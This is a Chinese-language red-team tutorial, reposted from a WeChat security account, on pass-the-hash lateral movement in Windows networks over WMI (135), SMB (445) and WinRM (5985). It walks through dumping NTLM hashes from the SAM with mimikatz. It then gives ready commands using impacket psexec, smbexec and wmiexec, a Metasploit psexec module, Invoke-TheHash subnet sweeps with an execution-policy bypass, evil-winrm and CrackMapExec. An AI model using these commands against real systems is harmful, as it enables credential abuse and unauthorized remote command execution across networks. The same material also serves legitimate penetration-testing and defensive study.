内网各端口hash传递技巧

admin 2022年8月29日04:52:18评论86 views字数 3002阅读10分0秒阅读模式

本文来自“白帽子社区知识星球”

更多红队题材或其他技术内容可见知识星球“红队专栏”

内网各端口hash传递技巧

01

前⾔

随着攻防演练的频繁和⼈们安全意识的提升,企业内部Windows主机的⼝令也设置的较为复杂,经 常拿到windows 服务器的时候,获取到了hash,但是⽆法解密出密码的情况,这时候就需要⽤到内⽹ hash 传递技术。使⽤该⽅法,攻击者不需要花费时间来怼hash进⾏爆破,常常适⽤于域/⼯作组等环境中。

02

测试环境

Windows server 2012 ⾸先需要获取ntml hash,由于直接从内存读取到的可能是密码修改之前的hash,这⾥推荐从sam⽂件中读取

mimikatz.exe "log" "privilege::debug" "token::elevate" "lsadump::sam""exit"

这⾥获取到的是:47bf8039a8506cd67c524a03ff84ba4e


内网各端口hash传递技巧


对于⼀些远程命令的执⾏⽅式和依赖端⼝


IPC$+AT   445PSEXEC 445WMI 135Winrm    5985(HTTP) 5986(HTTPS)


135 端⼝wmi 哈希传递


wmi (Windows management Instrumentation) 即 windows 管理⼯具,windows 98 之后的操作 系统都⽀持wmi,默认开启,且windows 默认不会将wmi 的操作记录到⽇志。wmi 并不⽀持直接执⾏命令,但可以执⾏⽂件,通过增加执⾏程序参数的⽅式执⾏命令的效果;但 是wmi 是不⽀持返回的,执⾏完之后并不能看到回显


内网各端口hash传递技巧



有些⼯具的原理是wmi 创建进程执⾏命令,然后将结果输出到⽂件,这个⽂件位于创建的共享⽂件 夹中,然后通过FSO组件访问远程共享⽂件夹中的结果,将⽂件进⾏输出。读取完成后,执⾏wmi 命令删除⽂件,然后退出删除⽂件共享。其中常⽤的⼯具是impacket 中的wimiexec 利⽤⽅式如下,此时的135 和445 端⼝都开放


内网各端口hash传递技巧


内网各端口hash传递技巧


若遇到只开放135的情况,可以增加nooutput 参数,不进⾏输出


内网各端口hash传递技巧


内网各端口hash传递技巧


成功执⾏了whoami 命令


内网各端口hash传递技巧

另外,还可通过wmicmd.exe 进⾏利⽤;WMICMD的执⾏过程是吧结果写⼊倒注册表,之后读 取完注册表之后并删除,然后回显到本地,由于wmi 可以远程操作注册表的信息,查询的注册表 信息会产⽣回显


https://github.com/nccgroup/WMIcmd


445 端⼝ SMB hash 传递445 端⼝ SMB hash 传递


利⽤Windows 的smb服务⾸先需要建⽴ipc,可以使⽤hash 传递来进⾏攻击,需要⽬标防⽕ 墙允许445 端⼝的通过。PsExec 是⼀种轻型 telnet-replacement,可⽤于在其他系统上执⾏进 程,⽆需⼿动安装客户端软件即可完成 控制台应⽤程序的完整交互性。 


Impacket


利⽤impacket 中的psexec 程序,命令如下:

python3 psexec.py -hashes 0:47bf8039a8506cd67c524a03ff84ba4eAdministrator@192.168.31.61

内网各端口hash传递技巧

利⽤impacket 中的smbexec 程序,命令如下


python3 smbexec.py -hashes00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4eAdministrator@192.168.31.61


内网各端口hash传递技巧

利⽤msf


利⽤msf 进⾏pth


use exploit/windows/smb/psexecset rhosts 192.168.31.194set smbuser administratorset smbpass00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e

内网各端口hash传递技巧

03

通过powershell 批量

脚本地址:

https://github.com/Kevin-Robertson/Invoke-TheHash


本地加载powershell脚本:powershell -exec bypassSET-EXECUTIONPOLICY REMOTESIGNEDImport-Module .Invoke-WMIExec.ps1Import-Module .Invoke-TheHash.ps1# 利⽤已知的hash 对内⽹主机进⾏批量,域环境Invoke-TheHash -Type WMIExec -Target 192.168.31.1/24 -Domain qq -Usernameadministrator -Hash 47bf8039a8506cd67c524a03ff84ba4e# 利⽤已知的hash 对内⽹主机进⾏批量,⼯作组环境Invoke-TheHash -Type WMIExec -Target 192.168.31.124 -Usernameadministrator -Hash 47bf8039a8506cd67c524a03ff84ba4e

内网各端口hash传递技巧

04

5985 HASH 传递

WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即⼀种基于标准简单对象访问协 议[SOAP]的 “防⽕墙友好” 协议,它让来⾃不同供应商的硬件和操作系统能够互相操作。winRM的默认端⼝为 5985(http)或5986(https)。winRM横向移动同时适⽤于⼯作组和域环境。 


evil-winrm是Windows远程管理(WinRM) Shell的终极版本。Windows远程管理是“WS 管理协议的 Microsoft 实施,该协议是基于标准 SOAP、不受防⽕墙影响的协议,允许不同供应商的硬件和操 作系统相互操作。⽽微软将其包含在他们的系统中,是为了便于系统管理员在⽇常⼯作中,远程管 理服务器,或通过脚本同时管理多台服务器,以提⾼他们的⼯作效率。


在kali进⾏安装

gem install evil-winrm

执⾏以下命令

evil-winrm -i 192.168.31.194 -u Administrator -H47bf8039a8506cd67c524a03ff84ba4e

内网各端口hash传递技巧



05

CrackMapExec

另外⼀款⼯具就是CrackMapExec, 安装⽅式

#~  apt-get install -y libssl-dev libkrb5-dev libffi-dev python-devbuild-essential#~ git clone https://github.com/Porchetta-Industries/CrackMapExec#~ cd CrackMapExec#~ poetry install#~ poetry run crackmapexec


使⽤⽅式

poetry run crackmapexec winrm 192.168.31.194 -u admin -H00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e -xwhoami


如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。

▼扫码关注白帽子社区公众号&加入知识星球▼


内网各端口hash传递技巧
内网各端口hash传递技巧

原文始发于微信公众号(白帽子社区):内网各端口hash传递技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月29日04:52:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网各端口hash传递技巧https://cn-sec.com/archives/1259921.html

发表评论

匿名网友 填写信息